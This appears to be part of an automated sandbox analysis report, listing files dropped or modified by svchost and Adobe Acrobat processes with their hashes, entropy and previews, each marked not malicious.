File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x0583e5a2, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7715494693580854
Encrypted:	false
SSDEEP:	1536:LSB2ESB2SSjlK/7vqlC06Z546I50AEzJ+Ykr3g16XWq2UPkLk+kFLKho38o38+W6:Laza9vqcHbrq2UyUVWlW
MD5:	659DF44605B6208413F8E535411AA687
SHA1:	0B90BB5BA3691BC7FFE10DA9D234045FDF78619D
SHA-256:	5A4330B2B2A6F732C45CFEAE6EA0BD33303652549FE99D3D1DD5ED101EE6FB52
SHA-512:	879BE466C9DF775D1A8CA25F114DAA0E7B8E2199F24DF83B76AA53612B2D76DE9429D48CB31AC6085D66BA64989D92FA4AFC9B79AECCE00854975BFE202AB819
Malicious:	false
Preview:	...... ...............X\...;...{......................0.p.....#....{.......}..h.r.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......%9...{...............................................................................................................................................................................................2...{...................................y.......}..................+<I......}?..........................#......h.r.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08128996704538673
Encrypted:	false
SSDEEP:	3:L//lKYeXgk3pGWr8qrrvr+gvrr/ms6aplqllVmctlll/Sm1l1:L1KzXgkZogn/msvleLPPv
MD5:	EE882116E0C67C9CA3D73FFDD85F0472
SHA1:	49E175A1F0EB6F517FAFA2C692582008285E19A4
SHA-256:	A0658FB5C4E766AE0537696E0A621D4726DE866323C803DE557D730A5A6A762E
SHA-512:	C90051628DC475571B3E94CB2A6DD43A2171FE9459F572FF482574E96083329D306D181877747FDA86EC0D9C9AE86EEC445BC8D5C0BAB56610E1C4B558E2085C
Malicious:	false
Preview:	N.;......................................;...{.......}?.#....{..........#....{..#....{...i..#....{.V................+<I......}?.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.096450824661393
Encrypted:	false
SSDEEP:	6:iO4OVQxT4q2PsZ2nKuAl9OmbnIFUtSOVQzJZmwsOVQzDkwOsZ2nKuAl9OmbjLJ:7T6V4vkcHAahFUtB6zJ/f6zD51cHAaSJ
MD5:	D5F602784B0AF3346878CBE32A5436D4
SHA1:	3F190087F9DB79BE23D4B71C56EE13CFA0F9A49F
SHA-256:	0183FF2C0C012A6B361B6D49A313CC7CCBA1B38BB1F2EDD0F957093E188A15D1
SHA-512:	880A7F9045804706999DE2DBD19A5B20474B7E0758C02FD2EA094BF37E627A913BA82ECFDE78CE174E88C1A2FFAAE354E02396FF8285FA2D76A5191FE3F79891
Malicious:	false
Preview:	2025/01/10-14:10:05.023 1ff4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:10:05.025 1ff4 Recovering log #3.2025/01/10-14:10:05.025 1ff4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.096450824661393
Encrypted:	false
SSDEEP:	6:iO4OVQxT4q2PsZ2nKuAl9OmbnIFUtSOVQzJZmwsOVQzDkwOsZ2nKuAl9OmbjLJ:7T6V4vkcHAahFUtB6zJ/f6zD51cHAaSJ
MD5:	D5F602784B0AF3346878CBE32A5436D4
SHA1:	3F190087F9DB79BE23D4B71C56EE13CFA0F9A49F
SHA-256:	0183FF2C0C012A6B361B6D49A313CC7CCBA1B38BB1F2EDD0F957093E188A15D1
SHA-512:	880A7F9045804706999DE2DBD19A5B20474B7E0758C02FD2EA094BF37E627A913BA82ECFDE78CE174E88C1A2FFAAE354E02396FF8285FA2D76A5191FE3F79891
Malicious:	false
Preview:	2025/01/10-14:10:05.023 1ff4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:10:05.025 1ff4 Recovering log #3.2025/01/10-14:10:05.025 1ff4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.14884027825131
Encrypted:	false
SSDEEP:	6:iO4OVQF/Oq2PsZ2nKuAl9Ombzo2jMGIFUtSOVQAXZmwsOVQAFkwOsZ2nKuAl9OmT:7T6FmvkcHAa8uFUtB6AX/f6AF51cHAaU
MD5:	1F084CCA93BCA165521F9E49D8246FCB
SHA1:	A9C0BAD78121DBA6C039E21CEC466F06F86251A5
SHA-256:	6EE5E7F913CBDB082D5CEF1361D6A3D5602B298F6F236D494F3AEC2817032749
SHA-512:	FD4710FAA8ECD5F23DFD9F886C9AD4BCA51CAB36F50F51E68A16C07DF4C2A2D8C314D289D01655F182B59D5083927FA40ACF6485F92BCEACDD3D3F679F196766
Malicious:	false
Preview:	2025/01/10-14:10:05.068 1964 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:10:05.070 1964 Recovering log #3.2025/01/10-14:10:05.070 1964 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.14884027825131
Encrypted:	false
SSDEEP:	6:iO4OVQF/Oq2PsZ2nKuAl9Ombzo2jMGIFUtSOVQAXZmwsOVQAFkwOsZ2nKuAl9OmT:7T6FmvkcHAa8uFUtB6AX/f6AF51cHAaU
MD5:	1F084CCA93BCA165521F9E49D8246FCB
SHA1:	A9C0BAD78121DBA6C039E21CEC466F06F86251A5
SHA-256:	6EE5E7F913CBDB082D5CEF1361D6A3D5602B298F6F236D494F3AEC2817032749
SHA-512:	FD4710FAA8ECD5F23DFD9F886C9AD4BCA51CAB36F50F51E68A16C07DF4C2A2D8C314D289D01655F182B59D5083927FA40ACF6485F92BCEACDD3D3F679F196766
Malicious:	false
Preview:	2025/01/10-14:10:05.068 1964 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:10:05.070 1964 Recovering log #3.2025/01/10-14:10:05.070 1964 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8fae3712-b569-4025-a661-cc8925e052b8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	476
Entropy (8bit):	4.958752397865049
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqtHEsBdOg2HZcaq3QYiubPyP7E4T3y:Y2sRdsOHpdMHg3QYhbC7nby
MD5:	6BAEEE3683DC4ED4A731735196060EA0
SHA1:	F7F74B52B336B03BA557B36F4D3376756690C79F
SHA-256:	85CD85483EC559EC7C4C08339497E575B9C355F7CC5E7BCE596DCBFE8E537077
SHA-512:	6EA41C7DD9F9C5F05855459E61CB6F6545A737E0A90FECFB6A66297A4A7931E11B3BAE7BFF8B833BA664AB85E04DF9B75D7BDC26AC610A5CF2DB0C003D5BC383
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381096216936031","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":152139},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	476
Entropy (8bit):	4.958752397865049
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqtHEsBdOg2HZcaq3QYiubPyP7E4T3y:Y2sRdsOHpdMHg3QYhbC7nby
MD5:	6BAEEE3683DC4ED4A731735196060EA0
SHA1:	F7F74B52B336B03BA557B36F4D3376756690C79F
SHA-256:	85CD85483EC559EC7C4C08339497E575B9C355F7CC5E7BCE596DCBFE8E537077
SHA-512:	6EA41C7DD9F9C5F05855459E61CB6F6545A737E0A90FECFB6A66297A4A7931E11B3BAE7BFF8B833BA664AB85E04DF9B75D7BDC26AC610A5CF2DB0C003D5BC383
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381096216936031","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":152139},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.11","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4553
Entropy (8bit):	5.237348775206236
Encrypted:	false
SSDEEP:	96:odxquQuhxqVAq0Czrh6CzxtSzK3/tjsqnlfjejy4XOlPXflkOzL:oqupGVTbzrhtzxtSzK3/dRnlLejyE4vr
MD5:	B650AF2C27EB79360AE2422F42F6C067
SHA1:	4EB7CFEDCEF7A4695F46D7B81EE5FCFE1D679151
SHA-256:	486792A55347D75C2A8FA92398BCEA32C53EB39C4C8813656CACE4D6110D7E94
SHA-512:	7F856F00F58E56AB608D3A57DF6396CC88DBFDBEE4A8221FF6299D72AAA86BE11FF251337E339C5D7B806E8CE2DD790CB1FAEDD610268A4719B17D44DF4D76C9
Malicious:	false
Preview:	*...#................version.1..namespace-n.X.o................next-map-id.1.Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/.0gKY.r................next-map-id.2.Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.1^b..r................next-map-id.3.Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.2....o................next-map-id.4.Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/.3C[.[^...............Pnamespace-8da8a5d4_15b5_4830_8c1c_ca066d0e12ed-https://rna-resource.acrobat.com/D..B^...............Pnamespace-73e7b78c_6cea_4091_906b_b0f0cc6a8ce0-https://rna-resource.acrobat.com/..Ga...............Snamespace-181ade60_1d4c_4d63_87fe_e85b67c781b7-https://rna-v2-resource.acrobat.com/.;0ca...............Snamespace-81b0e21e_1c2a_4917_a98d_db6892e18c4b-https://rna-v2-resource.acrobat.com/.\.go................next-map-id.5.Pnamespace-5e456334_9beb_4082_9dbc_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.162558449398755
Encrypted:	false
SSDEEP:	6:iO4OVQGIq2PsZ2nKuAl9OmbzNMxIFUtSOVQVZZmwsOVQTTkwOsZ2nKuAl9OmbzNq:7T6GIvkcHAa8jFUtB6n/f6H51cHAa84J
MD5:	11ED9AA00D9DDE411903E3209284CB4F
SHA1:	A527EBE091197C3BF4B996263ADC9107ABF39621
SHA-256:	834E739AECE03951D6840E651C6EB17CB34713EEB939CEB6DC4364989A804FB7
SHA-512:	5CD047EDCE799F4AFF6C2E3532B2993AEC71FAC98B111B2F00E6F750CD569C2EBDAEB57DDAA901A38C8B104CB77097BD52DA2F84B7B3A7F2F36523ACFAD17553
Malicious:	false
Preview:	2025/01/10-14:10:05.599 1964 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:10:05.646 1964 Recovering log #3.2025/01/10-14:10:05.693 1964 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.162558449398755
Encrypted:	false
SSDEEP:	6:iO4OVQGIq2PsZ2nKuAl9OmbzNMxIFUtSOVQVZZmwsOVQTTkwOsZ2nKuAl9OmbzNq:7T6GIvkcHAa8jFUtB6n/f6H51cHAa84J
MD5:	11ED9AA00D9DDE411903E3209284CB4F
SHA1:	A527EBE091197C3BF4B996263ADC9107ABF39621
SHA-256:	834E739AECE03951D6840E651C6EB17CB34713EEB939CEB6DC4364989A804FB7
SHA-512:	5CD047EDCE799F4AFF6C2E3532B2993AEC71FAC98B111B2F00E6F750CD569C2EBDAEB57DDAA901A38C8B104CB77097BD52DA2F84B7B3A7F2F36523ACFAD17553
Malicious:	false
Preview:	2025/01/10-14:10:05.599 1964 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:10:05.646 1964 Recovering log #3.2025/01/10-14:10:05.693 1964 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 13, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 13
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438243365900762
Encrypted:	false
SSDEEP:	384:Secci5G9iBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:DRurVgazUpUTTGt
MD5:	63A04CB4007AA515B406987ED2179F05
SHA1:	E01108F03A326D47B10FB702422EC4B02F2934AE
SHA-256:	0903825016FE80DA1CAE3F7C0697B5FDB389767DFD0D9FF3DD50CDB2961F9F0B
SHA-512:	7EBD13D8DE7723B2CD5E70982BAFB00D63CC901B3BF39A0A88F03A590E925E89828FDFF73A8A454AA539393B27AC67F24D66214525C6AB228DFB917DB35088E4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2141555662601458
Encrypted:	false
SSDEEP:	24:7+t/Tb6wKkqLLzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MD:7MbbWkqPmFTIF3XmHjBoGGR+jMz+Lhi
MD5:	5DC0FBFAF0BDAC51E62A2A9DF64A6208
SHA1:	FB6A18A46C58D861655AB1D55B6A1E4070C894E0
SHA-256:	778BE10948B676A9046909A77B04AF0EEF7B1EDF5F9FE281DD51E86E7172CB96
SHA-512:	7D8268C1E21D093F1110A26BB2ED8BA09AAF89FBDE9B050E627529FE766BCA777A3ADB10B7DF8E6E7FF80C69BCC0C732BA06F670135DDB9CB7622C8E05AA912D
Malicious:	false
Preview:	.... .c.....@P.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkl6ibokltfllXlE/HT8kulrtNNX8RolJuRdxLlGB9lQRYwpDdt:kKjOoseT8/NMa8RdWBwRd
MD5:	C6BE02833076F5583F8C7058005AF38E
SHA1:	FE6E00408F7FDD6690F562CD4EF22236002C119F
SHA-256:	4174965C2F40E40CC8157EEA2AA8F3590F6364A1DBADB6C2764C13CEB4BDDA4C
SHA-512:	AA6D22F4F2E2580FA1DA485EA351166305B52AF913D6ECEEF029F03DFCD9399DE1D992B73DD8423B76354D01F1E03C70AE6CC55D1B7D646E86640F5CC7EA9DB8
Malicious:	false
Preview:	p...... ...........H.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.217488817098301
Encrypted:	false
SSDEEP:	6:kKO+sL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:2+siDImsLNkPlE99SNxAhUe/3
MD5:	EB934B50632FCF1B6818196E006A3DFE
SHA1:	E21D01DD2AD8D219A253FD1C77ACB752083C1F73
SHA-256:	12297EBF0DFFF14226447C6996881A595B8149483AF28C9713A6ADC64F43D0F9
SHA-512:	E414DA3F9C9FC7E13AF6AE85F269D33CAEA264CB7EBDE9A0A5893E965344BEEA27140DFF4E61FE2FC30EA7128176026E5E73CDF2E02DB1BA4F265415CD3A2789
Malicious:	false
Preview:	p...... .........lOm.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7892

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
